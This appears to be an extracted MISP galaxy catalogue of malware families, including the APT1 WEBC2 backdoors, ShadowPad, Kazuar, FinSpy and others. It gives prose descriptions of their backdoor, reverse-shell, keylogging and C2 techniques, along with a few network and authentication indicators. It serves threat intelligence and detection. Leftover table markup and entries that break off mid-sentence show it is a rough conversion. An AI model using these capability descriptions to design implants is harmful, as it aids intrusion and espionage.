Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week.
Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.

The tag is: `misp-galaxy:tool="EyePyramid Malware"`

**LuminosityLink**

LuminosityLink is a malware family costing $40 that purports to be a system administration utility.

The tag is: `misp-galaxy:tool="LuminosityLink"`

**Flokibot**

Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.

The tag is: `misp-galaxy:tool="FlokiBot"`

Flokibot is also known as:

- Floki Bot
- Floki

**ZeroT**

Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.
**ZeroT**

ZeroT has relationships with:

- similar: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"

**StreamEx**

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

**Sathurbot**

The trojan serves as a backdoor. It can be controlled remotely.

The tag is: *misp-galaxy:tool="Sathurbot"*

Sathurbot has relationships with:

- similar: misp-galaxy:malpedia="Sathurbot" with estimative-language:likelihood-
AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: misp-galaxy:tool="AURIGA"

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: misp-galaxy:tool="BANGAT"
**BISCUIT**

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

BISCUIT has relationships with:

- similar: *misp-galaxy:mitre-malware="BISCUIT - S0017"* with *estimative-language:likelihood-probability="likely"*

**BOUNCER**

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

**CALENDAR**

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: *misp-galaxy:tool="CALENDAR"*
CALENDAR has relationships with:

- similar: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

**COOKIEBAG**

This family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: misp-galaxy:tool="COOKIEBAG"

COOKIEBAG is also known as:

- TROJAN.COOKIES

**GLOOXMAIL**

GLOOXMAIL communicates with Google’s Jabber/XMPP servers and authenticates with a hardcoded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: $misp\text{-galaxy:tool}=\text{"GLOOXMAIL"}$

GLOOXMAIL is also known as:
• TROJAN.GTALK

GLOOXMAIL has relationships with:

• similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"

**GOGGLES**

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: *misp-galaxy:tool="GOGGLES"

GOGGLES is also known as:

• TROJAN.FOXY

**GREENCAT**

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes. Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: *misp-galaxy:tool="GREENCAT"

**HACKFASE**

This family of malware is a backdoor that provides reverse shell, process creation, system statistics collection, process enumeration, and process termination capabilities. This family is designed to be a service DLL and does not contain an installation mechanism. It usually communicates over port 443. Some variants use their own encryption, others use SSL.

The tag is: `misp-galaxy:tool="HACKFASE"`

</tr>
</tbody>
</table>

**HELAUTO**

This family of malware is designed to operate as a service and provides remote command execution and file transfer capabilities to a fixed IP address or domain name. All communication with the C2 server happens over port 443 using SSL. This family can be installed as a service DLL. Some variants allow for uninstallation.

The tag is: `misp-galaxy:tool="HELAUTO"`

</tr>
</tbody>
</table>

**KURTON**

This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.

The tag is: `misp-galaxy:tool="KURTON"`

</tr>
</tbody>
</table>

**LIGHTBOLT**

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified
URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: \textit{misp-galaxy:tool="LIGHTBOLT"}

</tr>
</tbody>
</table>

\textbf{LIGHTDART}

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: \textit{misp-galaxy:tool="LIGHTDART"}

</tr>
</tbody>
</table>

\textbf{LONGRUN}

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string \texttt{thequickbrownfxjmpsvalzydg} is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: \textit{misp-galaxy:tool="LONGRUN"}

<td></td>
</tr>
</tbody>
</table>

STARSYPOUND

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: `misp-galaxy:tool="STARSYPOUND"`

</tr>
</tbody>
</table>

**TARSIP-ECLIPSE**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: `misp-galaxy:tool="TARSIP-ECLIPSE"`

</tr>
</tbody>
</table>

**TARSIP-MOON**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: `misp-galaxy:tool="TARSIP-MOON"`
**WARP**

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as ' %USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.

The tag is: *misp-galaxy:tool="WARP"*

---

**WEBC2-ADSPACE**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: *misp-galaxy:tool="WEBC2-ADSPACE"*

---

**WEBC2-AUSOV**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and
execute compressed binaries.

The tag is: *misp-galaxy:tool="WEBC2-AUSOV"*

**Table 5386. Table References**

<table>
<thead>
<tr>

<td></td>
</tr>
</tbody>
</table>

**WEBC2-CLOVER**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.

The tag is: *misp-galaxy:tool="WEBC2-CLOVER"*

**Table 5388. Table References**

<table>

<td></td>
</tr>
</tbody>
</table>

**WEBC2-CSON**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects
the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.

The tag is: misp-galaxy:tool="WEBC2-CS0N"

**WEBC2-DIV**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and " balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.

The tag is: misp-galaxy:tool="WEBC2-DIV"

**WEBC2-GREENCAT**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user's registry Run key.

The tag is: misp-galaxy:tool="WEBC2-GREENCAT"

**WEBC2-HEAD**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It
expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system’s SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.

The tag is: \textit{misp-galaxy:tool="WEBC2-HEAD"}

\textbf{WEBC2-KT3}

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.

The tag is: \textit{misp-galaxy:tool="WEBC2-KT3"}

\textbf{WEBC2-QBP}

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: \textit{misp-galaxy:tool="WEBC2-QBP"}

\textbf{WEBC2-RAVE}

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The
first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.

The tag is: misp-galaxy:tool="WEBC2-RAVE"

**WEBC2-TABLE**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: misp-galaxy:tool="WEBC2-TABLE"

**WEBC2-TOCK**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: misp-galaxy:tool="WEBC2-TOCK"

**WEBC2-UGX**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a
crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: `misp-galaxy:tool="WEBC2-UGX"`

### WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: `misp-galaxy:tool="WEBC2-Y21K"`

### WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.

The tag is: `misp-galaxy:tool="WEBC2-YAHOO"`
HAYMAKER

HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system's default User-Agent string.

The tag is: misp-galaxy:tool="HAYMAKER"

HAYMAKER has relationships with:

- similar: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 5401. Table References

Links

https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

The tag is: misp-galaxy:tool="BUGJUICE"

BUGJUICE has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

da Vinci RCS

Hacking Team's "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target's location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.

The tag is: misp-galaxy:tool="da Vinci RCS"
da Vinci RCS is also known as:
LATENTBOT

LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

The tag is: `misp-galaxy:tool="LATENTBOT"`

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: `misp-galaxy:tool="FINSPY"`

FINSPY is also known as:

- BlackOasis

FINSPY has relationships with:

- similar: `misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"`

RCS Galileo

HackingTeam Remote Control System (RCS) Galileo hacking platform
**EARLYSHOVEL**

RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The tag is: `misp-galaxy:tool="EARLYSHOVEL"`

**EBBISLAND (EBBSHAVE)**

root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86

feodo

Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal
Cardinal RAT

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The tag is: misp-galaxy:tool="Cardinal RAT"

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

REDLEAVES

The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.

The tag is: misp-galaxy:tool="REDLEAVES"

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan
written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

The tag is: misp-galaxy:tool="Kazuar"

Kazuar has relationships with:

- similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"

</tbody>
</table>

**KONNI**

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: misp-galaxy:tool="KONNI"

KONNI has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"
NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI's Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: misp-galaxy:tool="NOKKI"

SpyDealer

Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

The tag is: misp-galaxy:tool="SpyDealer"
CowerSnail

CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.

The tag is: *misp-galaxy:tool=*"CowerSnail"

### Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: *misp-galaxy:tool=*"Svpeng"

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae

Svpeng has relationships with:

- similar: *misp-galaxy:android=*"Svpeng" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:malpedia=*"Svpeng" with *estimative-language:likelihood-probability=*"likely"

### Table 5454. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell.

During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the
compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: `misp-galaxy:tool="TwoFace"`

### IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute. To complete

The tag is: `misp-galaxy:tool="IntrudingDivisor"`

### JS_POWMET

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

The tag is: `misp-galaxy:tool="JS_POWMET"`

### EngineBox Malware

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it’s being identified as a
Generic Trojan by most of VirusTotal (VT) engines, let’s name it EngineBox—the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool=*"EngineBox Malware"

---

### Joao

Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.].to.

The tag is: *misp-galaxy:tool=*"Joao"

Joao has relationships with:

- similar: *misp-galaxy:malpedia=*"Joao" with estimative-language:likelihood-probability="likely"

---

### Fireball

Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.

The tag is: *misp-galaxy:tool=*"Fireball"

Fireball has relationships with:

- similar: *misp-galaxy:malpedia=*"Fireball" with estimative-language:likelihood-probability="likely"
**ShadowPad**

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: `misp-galaxy:tool="ShadowPad"`

ShadowPad is also known as:

- POISONPLUG
- Barlaiy

ShadowPad has relationships with:

- similar: `misp-galaxy:malpedia="ShadowPad"` with `estimative-language:likelihood-probability="likely"

**Table 5461. Table References**

</table>

**IoT_reaper**

IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.

The tag is: `misp-galaxy:tool="IoT_reaper"`

**Table 5462. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FormBook**

FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.

The tag is: `misp-galaxy:tool="FormBook"`
Dimnie

